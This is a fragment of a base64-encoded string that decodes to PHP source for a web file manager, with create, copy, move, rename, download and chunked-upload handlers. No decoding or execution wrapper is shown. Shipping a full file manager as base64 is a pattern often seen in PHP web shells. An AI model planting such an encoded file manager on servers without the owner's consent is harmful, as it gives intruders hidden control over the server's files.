0cmlwX3RhZ3MoICRfUE9TVFsnbmV3ZmlsZW5hbWUnXSApICkgKTsKICAgIGlmIChmbV9pc3ZhbGlkX2ZpbGVuYW1lKCRuZXcpICYmICRuZXcgIT0gJycgJiYgJG5ldyAhPSAnLi4nICYmICRuZXcgIT0gJy4nICYmIHZlcmlmeVRva2VuKCRfUE9TVFsndG9rZW4nXSkpIHsKICAgICAgICAkcGF0aCA9IEZNX1JPT1RfUEFUSDsKICAgICAgICBpZiAoRk1fUEFUSCAhPSAnJykgewogICAgICAgICAgICAkcGF0aCAuPSAnLycgLiBGTV9QQVRIOwogICAgICAgIH0KICAgICAgICBpZiAoJHR5cGUgPT0gImZpbGUiKSB7CiAgICAgICAgICAgIGlmICghZmlsZV9leGlzdHMoJHBhdGggLiAnLycgLiAkbmV3KSkgewogICAgICAgICAgICAgICAgaWYoZm1faXNfdmFsaWRfZXh0KCRuZXcpKSB7CiAgICAgICAgICAgICAgICAgICAgQGZvcGVuKCRwYXRoIC4gJy8nIC4gJG5ldywgJ3cnKSBvciBkaWUoJ0Nhbm5vdCBvcGVuIGZpbGU6ICAnIC4gJG5ldyk7CiAgICAgICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKGxuZygnRmlsZScpLicgPGI+JXM8L2I+ICcubG5nKCdDcmVhdGVkJyksIGZtX2VuYygkbmV3KSkpOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnRmlsZSBleHRlbnNpb24gaXMgbm90IGFsbG93ZWQnKSwgJ2Vycm9yJyk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYobG5nKCdGaWxlJykuJyA8Yj4lczwvYj4gJy5sbmcoJ2FscmVhZHkgZXhpc3RzJyksIGZtX2VuYygkbmV3KSksICdhbGVydCcpOwogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgaWYgKGZtX21rZGlyKCRwYXRoIC4gJy8nIC4gJG5ldywgZmFsc2UpID09PSB0cnVlKSB7CiAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYobG5nKCdGb2xkZXInKS4nIDxiPiVzPC9iPiAnLmxuZygnQ3JlYXRlZCcpLCAkbmV3KSk7CiAgICAgICAgICAgIH0gZWxzZWlmIChmbV9ta2RpcigkcGF0aCAuICcvJyAuICRuZXcsIGZhbHNlKSA9PT0gJHBhdGggLiAnLycgLiAkbmV3KSB7CiAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYobG5nKCdGb2xkZXInKS4nIDxiPiVzPC9iPiAnLmxuZygnYWxyZWFkeSBleGlzdHMnKSwgZm1fZW5jKCRuZXcpKSwgJ2FsZXJ0Jyk7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYobG5nKCdGb2xkZXInKS4nIDxiPiVzPC9iPiAnLmxuZygnbm90IGNyZWF0ZWQnKSwgZm1fZW5jKCRuZXcpKSwgJ2Vycm9yJyk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9IGVsc2UgewogICAgICAgIGZtX3NldF9tc2cobG5nKCdJbnZhbGlkIGNoYXJhY3RlcnMgaW4gZmlsZSBvciBmb2xkZXIgbmFtZScpLCAnZXJyb3InKTsKICAgIH0KICAgICRGTV9QQVRIPUZNX1BBVEg7IGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTsKfQoKLy8gQ29weSBmb2xkZXIgLyBmaWxlCmlmIChpc3NldCgkX0dFVFsnY29weSddLCAkX0dFVFsnZmluaXNoJ10pICYmICFGTV9SRUFET05MWSkgewogICAgLy8gZnJvbQogICAgJGNvcHkgPSB1cmxkZWNvZGUoJF9HRVRbJ2NvcHknXSk7CiAgICAkY29weSA9IGZtX2NsZWFuX3BhdGgoJGNvcHkpOwogICAgLy8gZW1wdHkgcGF0aAogICAgaWYgKCRjb3B5ID09ICcnKSB7CiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ1NvdXJjZSBwYXRoIG5vdCBkZWZpbmVkJyksICdlcnJvcicpOwogICAgICAgICRGTV9QQVRIPUZNX1BBVEg7IGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTsKICAgIH0KICAgIC8vIGFicyBwYXRoIGZyb20KICAgICRmcm9tID0gRk1fUk9PVF9QQVRIIC4gJy8nIC4gJGNvcHk7CiAgICAvLyBhYnMgcGF0aCB0bwogICAgJGRlc3QgPSBGTV9ST09UX1BBVEg7CiAgICBpZiAoRk1fUEFUSCAhPSAnJykgewogICAgICAgICRkZXN0IC49ICcvJyAuIEZNX1BBVEg7CiAgICB9CiAgICAkZGVzdCAuPSAnLycgLiBiYXNlbmFtZSgkZnJvbSk7CiAgICAvLyBtb3ZlPwogICAgJG1vdmUgPSBpc3NldCgkX0dFVFsnbW92ZSddKTsKICAgICRtb3ZlID0gZm1fY2xlYW5fcGF0aCh1cmxkZWNvZGUoJG1vdmUpKTsKICAgIC8vIGNvcHkvbW92ZS9kdXBsaWNhdGUKICAgIGlmICgkZnJvbSAhPSAkZGVzdCkgewogICAgICAgICRtc2dfZnJvbSA9IHRyaW0oRk1fUEFUSCAuICcvJyAuIGJhc2VuYW1lKCRmcm9tKSwgJy8nKTsKICAgICAgICBpZiAoJG1vdmUpIHsgLy8gTW92ZSBhbmQgdG8gIT0gZnJvbSBzbyBqdXN0IHBlcmZvcm0gbW92ZQogICAgICAgICAgICAkcmVuYW1lID0gZm1fcmVuYW1lKCRmcm9tLCAkZGVzdCk7CiAgICAgICAgICAgIGlmICgkcmVuYW1lKSB7CiAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYobG5nKCdNb3ZlZCBmcm9tJykuJyA8Yj4lczwvYj4gJy5sbmcoJ3RvJykuJyA8Yj4lczwvYj4nLCBmbV9lbmMoJGNvcHkpLCBmbV9lbmMoJG1zZ19mcm9tKSkpOwogICAgICAgICAgICB9IGVsc2VpZiAoJHJlbmFtZSA9PT0gbnVsbCkgewogICAgICAgICAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0ZpbGUgb3IgZm9sZGVyIHdpdGggdGhpcyBwYXRoIGFscmVhZHkgZXhpc3RzJyksICdhbGVydCcpOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKGxuZygnRXJyb3Igd2hpbGUgbW92aW5nIGZyb20nKS4nIDxiPiVzPC9iPiAnLmxuZygndG8nKS4nIDxiPiVzPC9iPicsIGZtX2VuYygkY29weSksIGZtX2VuYygkbXNnX2Zyb20pKSwgJ2Vycm9yJyk7CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2UgeyAvLyBOb3QgbW92ZSBhbmQgdG8gIT0gZnJvbSBzbyBjb3B5IHdpdGggb3JpZ2luYWwgbmFtZQogICAgICAgICAgICBpZiAoZm1fcmNvcHkoJGZyb20sICRkZXN0KSkgewogICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKGxuZygnQ29waWVkIGZyb20nKS4nIDxiPiVzPC9iPiAnLmxuZygndG8nKS4nIDxiPiVzPC9iPicsIGZtX2VuYygkY29weSksIGZtX2VuYygkbXNnX2Zyb20pKSk7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYobG5nKCdFcnJvciB3aGlsZSBjb3B5aW5nIGZyb20nKS4nIDxiPiVzPC9iPiAnLmxuZygndG8nKS4nIDxiPiVzPC9iPicsIGZtX2VuYygkY29weSksIGZtX2VuYygkbXNnX2Zyb20pKSwgJ2Vycm9yJyk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9IGVsc2UgewogICAgICAgaWYgKCEkbW92ZSl7IC8vTm90IG1vdmUgYW5kIHRvID0gZnJvbSBzbyBkdXBsaWNhdGUKICAgICAgICAgICAgJG1zZ19mcm9tID0gdHJpbShGTV9QQVRIIC4gJy8nIC4gYmFzZW5hbWUoJGZyb20pLCAnLycpOwogICAgICAgICAgICAkZm5fcGFydHMgPSBwYXRoaW5mbygkZnJvbSk7CiAgICAgICAgICAgICRleHRlbnNpb25fc3VmZml4ID0gJyc7CiAgICAgICAgICAgIGlmKCFpc19kaXIoJGZyb20pKXsKICAgICAgICAgICAgICAgJGV4dGVuc2lvbl9zdWZmaXggPSAnLicuJGZuX3BhcnRzWydleHRlbnNpb24nXTsKICAgICAgICAgICAgfQogICAgICAgICAgICAvL0NyZWF0ZSBuZXcgbmFtZSBmb3IgZHVwbGljYXRlCiAgICAgICAgICAgICRmbl9kdXBsaWNhdGUgPSAkZm5fcGFydHNbJ2Rpcm5hbWUnXS4nLycuJGZuX3BhcnRzWydmaWxlbmFtZSddLictJy5kYXRlKCdZbWRIaXMnKS4kZXh0ZW5zaW9uX3N1ZmZpeDsKICAgICAgICAgICAgJGxvb3BfY291bnQgPSAwOwogICAgICAgICAgICAkbWF4X2xvb3AgPSAxMDAwOwogICAgICAgICAgICAvLyBDaGVjayBpZiBhIGZpbGUgd2l0aCB0aGUgZHVwbGljYXRlIG5hbWUgYWxyZWFkeSBleGlzdHMsIGlmIHNvLCBtYWtlIG5ldyBuYW1lIChlZGdlIGNhc2UuLi4pCiAgICAgICAgICAgIHdoaWxlKGZpbGVfZXhpc3RzKCRmbl9kdXBsaWNhdGUpICYgJGxvb3BfY291bnQgPCAkbWF4X2xvb3ApewogICAgICAgICAgICAgICAkZm5fcGFydHMgPSBwYXRoaW5mbygkZm5fZHVwbGljYXRlKTsKICAgICAgICAgICAgICAgJGZuX2R1cGxpY2F0ZSA9ICRmbl9wYXJ0c1snZGlybmFtZSddLicvJy4kZm5fcGFydHNbJ2ZpbGVuYW1lJ10uJy1jb3B5Jy4kZXh0ZW5zaW9uX3N1ZmZpeDsKICAgICAgICAgICAgICAgJGxvb3BfY291bnQrKzsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoZm1fcmNvcHkoJGZyb20sICRmbl9kdXBsaWNhdGUsIEZhbHNlKSkgewogICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKCdDb3BpZWQgZnJvbSA8Yj4lczwvYj4gdG8gPGI+JXM8L2I+JywgZm1fZW5jKCRjb3B5KSwgZm1fZW5jKCRmbl9kdXBsaWNhdGUpKSk7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYoJ0Vycm9yIHdoaWxlIGNvcHlpbmcgZnJvbSA8Yj4lczwvYj4gdG8gPGI+JXM8L2I+JywgZm1fZW5jKCRjb3B5KSwgZm1fZW5jKCRmbl9kdXBsaWNhdGUpKSwgJ2Vycm9yJyk7CiAgICAgICAgICAgIH0KICAgICAgIH0KICAgICAgIGVsc2V7CiAgICAgICAgICAgZm1fc2V0X21zZyhsbmcoJ1BhdGhzIG11c3QgYmUgbm90IGVxdWFsJyksICdhbGVydCcpOwogICAgICAgfQogICAgfQogICAgJEZNX1BBVEg9Rk1fUEFUSDsgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpOwp9CgovLyBNYXNzIGNvcHkgZmlsZXMvIGZvbGRlcnMKaWYgKGlzc2V0KCRfUE9TVFsnZmlsZSddLCAkX1BPU1RbJ2NvcHlfdG8nXSwgJF9QT1NUWydmaW5pc2gnXSwgJF9QT1NUWyd0b2tlbiddKSAmJiAhRk1fUkVBRE9OTFkpIHsKCiAgICBpZighdmVyaWZ5VG9rZW4oJF9QT1NUWyd0b2tlbiddKSkgewogICAgICAgIGZtX3NldF9tc2cobG5nKCdJbnZhbGlkIFRva2VuLicpLCAnZXJyb3InKTsKICAgIH0KICAgIAogICAgLy8gZnJvbQogICAgJHBhdGggPSBGTV9ST09UX1BBVEg7CiAgICBpZiAoRk1fUEFUSCAhPSAnJykgewogICAgICAgICRwYXRoIC49ICcvJyAuIEZNX1BBVEg7CiAgICB9CiAgICAvLyB0bwogICAgJGNvcHlfdG9fcGF0aCA9IEZNX1JPT1RfUEFUSDsKICAgICRjb3B5X3RvID0gZm1fY2xlYW5fcGF0aCgkX1BPU1RbJ2NvcHlfdG8nXSk7CiAgICBpZiAoJGNvcHlfdG8gIT0gJycpIHsKICAgICAgICAkY29weV90b19wYXRoIC49ICcvJyAuICRjb3B5X3RvOwogICAgfQogICAgaWYgKCRwYXRoID09ICRjb3B5X3RvX3BhdGgpIHsKICAgICAgICBmbV9zZXRfbXNnKGxuZygnUGF0aHMgbXVzdCBiZSBub3QgZXF1YWwnKSwgJ2FsZXJ0Jyk7CiAgICAgICAgJEZNX1BBVEg9Rk1fUEFUSDsgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpOwogICAgfQogICAgaWYgKCFpc19kaXIoJGNvcHlfdG9fcGF0aCkpIHsKICAgICAgICBpZiAoIWZtX21rZGlyKCRjb3B5X3RvX3BhdGgsIHRydWUpKSB7CiAgICAgICAgICAgIGZtX3NldF9tc2coJ1VuYWJsZSB0byBjcmVhdGUgZGVzdGluYXRpb24gZm9sZGVyJywgJ2Vycm9yJyk7CiAgICAgICAgICAgICRGTV9QQVRIPUZNX1BBVEg7IGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTsKICAgICAgICB9CiAgICB9CiAgICAvLyBtb3ZlPwogICAgJG1vdmUgPSBpc3NldCgkX1BPU1RbJ21vdmUnXSk7CiAgICAvLyBjb3B5L21vdmUKICAgICRlcnJvcnMgPSAwOwogICAgJGZpbGVzID0gJF9QT1NUWydmaWxlJ107CiAgICBpZiAoaXNfYXJyYXkoJGZpbGVzKSAmJiBjb3VudCgkZmlsZXMpKSB7CiAgICAgICAgZm9yZWFjaCAoJGZpbGVzIGFzICRmKSB7CiAgICAgICAgICAgIGlmICgkZiAhPSAnJykgewogICAgICAgICAgICAgICAgJGYgPSBmbV9jbGVhbl9wYXRoKCRmKTsKICAgICAgICAgICAgICAgIC8vIGFicyBwYXRoIGZyb20KICAgICAgICAgICAgICAgICRmcm9tID0gJHBhdGggLiAnLycgLiAkZjsKICAgICAgICAgICAgICAgIC8vIGFicyBwYXRoIHRvCiAgICAgICAgICAgICAgICAkZGVzdCA9ICRjb3B5X3RvX3BhdGggLiAnLycgLiAkZjsKICAgICAgICAgICAgICAgIC8vIGRvCiAgICAgICAgICAgICAgICBpZiAoJG1vdmUpIHsKICAgICAgICAgICAgICAgICAgICAkcmVuYW1lID0gZm1fcmVuYW1lKCRmcm9tLCAkZGVzdCk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCRyZW5hbWUgPT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRlcnJvcnMrKzsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgIGlmICghZm1fcmNvcHkoJGZyb20sICRkZXN0KSkgewogICAgICAgICAgICAgICAgICAgICAgICAkZXJyb3JzKys7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGlmICgkZXJyb3JzID09IDApIHsKICAgICAgICAgICAgJG1zZyA9ICRtb3ZlID8gJ1NlbGVjdGVkIGZpbGVzIGFuZCBmb2xkZXJzIG1vdmVkJyA6ICdTZWxlY3RlZCBmaWxlcyBhbmQgZm9sZGVycyBjb3BpZWQnOwogICAgICAgICAgICBmbV9zZXRfbXNnKCRtc2cpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRtc2cgPSAkbW92ZSA/ICdFcnJvciB3aGlsZSBtb3ZpbmcgaXRlbXMnIDogJ0Vycm9yIHdoaWxlIGNvcHlpbmcgaXRlbXMnOwogICAgICAgICAgICBmbV9zZXRfbXNnKCRtc2csICdlcnJvcicpOwogICAgICAgIH0KICAgIH0gZWxzZSB7CiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ05vdGhpbmcgc2VsZWN0ZWQnKSwgJ2FsZXJ0Jyk7CiAgICB9CiAgICAkRk1fUEFUSD1GTV9QQVRIOyBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7Cn0KCi8vIFJlbmFtZQppZiAoaXNzZXQoJF9QT1NUWydyZW5hbWVfZnJvbSddLCAkX1BPU1RbJ3JlbmFtZV90byddLCAkX1BPU1RbJ3Rva2VuJ10pICYmICFGTV9SRUFET05MWSkgewogICAgaWYoIXZlcmlmeVRva2VuKCRfUE9TVFsndG9rZW4nXSkpIHsKICAgICAgICBmbV9zZXRfbXNnKCJJbnZhbGlkIFRva2VuLiIsICdlcnJvcicpOwogICAgfQogICAgLy8gb2xkIG5hbWUKICAgICRvbGQgPSB1cmxkZWNvZGUoJF9QT1NUWydyZW5hbWVfZnJvbSddKTsKICAgICRvbGQgPSBmbV9jbGVhbl9wYXRoKCRvbGQpOwogICAgJG9sZCA9IHN0cl9yZXBsYWNlKCcvJywgJycsICRvbGQpOwogICAgLy8gbmV3IG5hbWUKICAgICRuZXcgPSB1cmxkZWNvZGUoJF9QT1NUWydyZW5hbWVfdG8nXSk7CiAgICAkbmV3ID0gZm1fY2xlYW5fcGF0aChzdHJpcF90YWdzKCRuZXcpKTsKICAgICRuZXcgPSBzdHJfcmVwbGFjZSgnLycsICcnLCAkbmV3KTsKICAgIC8vIHBhdGgKICAgICRwYXRoID0gRk1fUk9PVF9QQVRIOwogICAgaWYgKEZNX1BBVEggIT0gJycpIHsKICAgICAgICAkcGF0aCAuPSAnLycgLiBGTV9QQVRIOwogICAgfQogICAgLy8gcmVuYW1lCiAgICBpZiAoZm1faXN2YWxpZF9maWxlbmFtZSgkbmV3KSAmJiAkb2xkICE9ICcnICYmICRuZXcgIT0gJycpIHsKICAgICAgICBpZiAoZm1fcmVuYW1lKCRwYXRoIC4gJy8nIC4gJG9sZCwgJHBhdGggLiAnLycgLiAkbmV3KSkgewogICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYobG5nKCdSZW5hbWVkIGZyb20nKS4nIDxiPiVzPC9iPiAnLiBsbmcoJ3RvJykuJyA8Yj4lczwvYj4nLCBmbV9lbmMoJG9sZCksIGZtX2VuYygkbmV3KSkpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGZtX3NldF9tc2coc3ByaW50ZihsbmcoJ0Vycm9yIHdoaWxlIHJlbmFtaW5nIGZyb20nKS4nIDxiPiVzPC9iPiAnLiBsbmcoJ3RvJykuJyA8Yj4lczwvYj4nLCBmbV9lbmMoJG9sZCksIGZtX2VuYygkbmV3KSksICdlcnJvcicpOwogICAgICAgIH0KICAgIH0gZWxzZSB7CiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0ludmFsaWQgY2hhcmFjdGVycyBpbiBmaWxlIG5hbWUnKSwgJ2Vycm9yJyk7CiAgICB9CiAgICAkRk1fUEFUSD1GTV9QQVRIOyBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7Cn0KCi8vIERvd25sb2FkCmlmIChpc3NldCgkX0dFVFsnZGwnXSwgJF9QT1NUWyd0b2tlbiddKSkgewogICAgaWYoIXZlcmlmeVRva2VuKCRfUE9TVFsndG9rZW4nXSkpIHsKICAgICAgICBmbV9zZXRfbXNnKCJJbnZhbGlkIFRva2VuLiIsICdlcnJvcicpOwogICAgfQoKICAgICRkbCA9IHVybGRlY29kZSgkX0dFVFsnZGwnXSk7CiAgICAkZGwgPSBmbV9jbGVhbl9wYXRoKCRkbCk7CiAgICAkZGwgPSBzdHJfcmVwbGFjZSgnLycsICcnLCAkZGwpOwogICAgJHBhdGggPSBGTV9ST09UX1BBVEg7CiAgICBpZiAoRk1fUEFUSCAhPSAnJykgewogICAgICAgICRwYXRoIC49ICcvJyAuIEZNX1BBVEg7CiAgICB9CiAgICBpZiAoJGRsICE9ICcnICYmIGlzX2ZpbGUoJHBhdGggLiAnLycgLiAkZGwpKSB7CiAgICAgICAgZm1fZG93bmxvYWRfZmlsZSgkcGF0aCAuICcvJyAuICRkbCwgJGRsLCAxMDI0KTsKICAgICAgICBleGl0OwogICAgfSBlbHNlIHsKICAgICAgICBmbV9zZXRfbXNnKGxuZygnRmlsZSBub3QgZm91bmQnKSwgJ2Vycm9yJyk7CiAgICAgICAgJEZNX1BBVEg9Rk1fUEFUSDsgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpOwogICAgfQp9CgovLyBVcGxvYWQKaWYgKCFlbXB0eSgkX0ZJTEVTKSAmJiAhRk1fUkVBRE9OTFkpIHsKICAgIGlmKGlzc2V0KCRfUE9TVFsndG9rZW4nXSkpIHsKICAgICAgICBpZighdmVyaWZ5VG9rZW4oJF9QT1NUWyd0b2tlbiddKSkgewogICAgICAgICAgICAkcmVzcG9uc2UgPSBhcnJheSAoJ3N0YXR1cycgPT4gJ2Vycm9yJywnaW5mbycgPT4gIkludmFsaWQgVG9rZW4uIik7CiAgICAgICAgICAgIGVjaG8ganNvbl9lbmNvZGUoJHJlc3BvbnNlKTsgZXhpdCgpOwogICAgICAgIH0KICAgIH0gZWxzZSB7CiAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkgKCdzdGF0dXMnID0+ICdlcnJvcicsJ2luZm8nID0+ICJUb2tlbiBNaXNzaW5nLiIpOwogICAgICAgIGVjaG8ganNvbl9lbmNvZGUoJHJlc3BvbnNlKTsgZXhpdCgpOwogICAgfQoKICAgICRjaHVua0luZGV4ID0gJF9QT1NUWydkemNodW5raW5kZXgnXTsKICAgICRjaHVua1RvdGFsID0gJF9QT1NUWydkenRvdGFsY2h1bmtjb3VudCddOwogICAgJGZ1bGxQYXRoSW5wdXQgPSBmbV9jbGVhbl9wYXRoKCRfUkVRVUVTVFsnZnVsbHBhdGgnXSk7CgogICAgJGYgPSAkX0ZJTEVTOwogICAgJHBhdGggPSBGTV9ST09UX1BBVEg7CiAgICAkZHMgPSBESVJFQ1RPUllfU0VQQVJBVE9SOwogICAgaWYgKEZNX1BBVEggIT0gJycpIHsKICAgICAgICAkcGF0aCAuPSAnLycgLiBGTV9QQVRIOwogICAgfQoKICAgICRlcnJvcnMgPSAwOwogICAgJHVwbG9hZHMgPSAwOwogICAgJGFsbG93ZWQgPSAoRk1fVVBMT0FEX0VYVEVOU0lPTikgPyBleHBsb2RlKCcsJywgRk1fVVBMT0FEX0VYVEVOU0lPTikgOiBmYWxzZTsKICAgICRyZXNwb25zZSA9IGFycmF5ICgKICAgICAgICAnc3RhdHVzJyA9PiAnZXJyb3InLAogICAgICAgICdpbmZvJyAgID0+ICdPb3BzISBUcnkgYWdhaW4nCiAgICApOwoKICAgICRmaWxlbmFtZSA9ICRmWydmaWxlJ11bJ25hbWUnXTsKICAgICR0bXBfbmFtZSA9ICRmWydmaWxlJ11bJ3RtcF9uYW1lJ107CiAgICAkZXh0ID0gcGF0aGluZm8oJGZpbGVuYW1lLCBQQVRISU5GT19GSUxFTkFNRSkgIT0gJycgPyBzdHJ0b2xvd2VyKHBhdGhpbmZvKCRmaWxlbmFtZSwgUEFUSElORk9fRVhURU5TSU9OKSkgOiAnJzsKICAgICRpc0ZpbGVBbGxvd2VkID0gKCRhbGxvd2VkKSA/IGluX2FycmF5KCRleHQsICRhbGxvd2VkKSA6IHRydWU7CgogICAgaWYoIWZtX2lzdmFsaWRfZmlsZW5hbWUoJGZpbGVuYW1lKSAmJiAhZm1faXN2YWxpZF9maWxlbmFtZSgkZnVsbFBhdGhJbnB1dCkpIHsKICAgICAgICAkcmVzcG9uc2UgPSBhcnJheSAoCiAgICAgICAgICAgICdzdGF0dXMnICAgID0+ICdlcnJvcicsCiAgICAgICAgICAgICdpbmZvJyAgICAgID0+ICJJbnZhbGlkIEZpbGUgbmFtZSEiLAogICAgICAgICk7CiAgICAgICAgZWNobyBqc29uX2VuY29kZSgkcmVzcG9uc2UpOyBleGl0KCk7CiAgICB9CgogICAgJHRhcmdldFBhdGggPSAkcGF0aCAuICRkczsKICAgIGlmICggaXNfd3JpdGFibGUoJHRhcmdldFBhdGgpICkgewogICAgICAgICRmdWxsUGF0aCA9ICRwYXRoIC4gJy8nIC4gJGZ1bGxQYXRoSW5wdXQ7CiAgICAgICAgJGZvbGRlciA9IHN1YnN0cigkZnVsbFBhdGgsIDAsIHN0cnJwb3MoJGZ1bGxQYXRoLCAiLyIpKTsKCiAgICAgICAgaWYgKCFpc19kaXIoJGZvbGRlcikpIHsKICAgICAgICAgICAgJG9sZCA9IHVtYXNrKDApOwogICAgICAgICAgICBta2RpcigkZm9sZGVyLCAwNzc3LCB0cnVlKTsKICAgICAgICAgICAgdW1hc2soJG9sZCk7CiAgICAgICAgfQoKICAgICAgICBpZiAoZW1wdHkoJGZbJ2ZpbGUnXVsnZXJyb3InXSkgJiYgIWVtcHR5KCR0bXBfbmFtZSkgJiYgJHRtcF9uYW1lICE9ICdub25lJyAmJiAkaXNGaWxlQWxsb3dlZCkgewogICAgICAgICAgICBpZiAoJGNodW5rVG90YWwpewogICAgICAgICAgICAgICAgJG91dCA9IEBmb3BlbigieyRmdWxsUGF0aH0ucGFydCIsICRjaHVua0luZGV4ID09IDAgPyAid2IiIDogImFiIik7CiAgICAgICAgICAgICAgICBpZiAoJG91dCkgewogICAgICAgICAgICAgICAgICAgICRpbiA9IEBmb3BlbigkdG1wX25hbWUsICJyYiIpOwogICAgICAgICAgICAgICAgICAgIGlmICgkaW4pIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKFBIUF9WRVJTSU9OX0lEIDwgODAwMDkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vIHdvcmthcm91bmQgaHR0cHM6Ly9idWdzLnBocC5uZXQvYnVnLnBocD9pZD04MTE0NQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZG8gewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvciAoOzspIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGJ1ZmYgPSBmcmVhZCgkaW4sIDQwOTYpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGJ1ZmYgPT09IGZhbHNlIHx8ICRidWZmID09PSAnJykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZndyaXRlKCRvdXQsICRidWZmKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IHdoaWxlICghZmVvZigkaW4pKTsKICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN0cmVhbV9jb3B5X3RvX3N0cmVhbSgkaW4sICRvdXQpOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICRyZXNwb25zZSA9IGFycmF5ICgKICAgICAgICAgICAgICAgICAgICAgICAgICAgICdzdGF0dXMnICAgID0+ICdzdWNjZXNzJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICdpbmZvJyA9PiAiZmlsZSB1cGxvYWQgc3VjY2Vzc2Z1bCIKICAgICAgICAgICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAkcmVzcG9uc2UgPSBhcnJheSAoCiAgICAgICAgICAgICAgICAgICAgICAgICdzdGF0dXMnICAgID0+ICdlcnJvcicsCiAgICAgICAgICAgICAgICAgICAgICAgICdpbmZvJyA9PiAiZmFpbGVkIHRvIG9wZW4gb3V0cHV0IHN0cmVhbSIsCiAgICAgICAgICAgICAgICAgICAgICAgICdlcnJvckRldGFpbHMnID0+IGVycm9yX2dldF9sYXN0KCkKICAgICAgICAgICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgQGZjbG9zZSgkaW4pOwogICAgICAgICAgICAgICAgICAgIEBmY2xvc2UoJG91dCk7CiAgICAgICAgICAgICAgICAgICAgQHVubGluaygkdG1wX25hbWUpOwoKICAgICAgICAgICAgICAgICAgICAkcmVzcG9uc2UgPSBhcnJheSAoCiAgICAgICAgICAgICAgICAgICAgICAgICdzdGF0dXMnICAgID0+ICdzdWNjZXNzJywKICAgICAgICAgICAgICAgICAgICAgICAgJ2luZm8nID0+ICJmaWxlIHVwbG9hZCBzdWNjZXNzZnVsIgogICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICRyZXNwb25zZSA9IGFycmF5ICgKICAgICAgICAgICAgICAgICAgICAgICAgJ3N0YXR1cycgICAgPT4gJ2Vycm9yJywKICAgICAgICAgICAgICAgICAgICAgICAgJ2luZm8nID0+I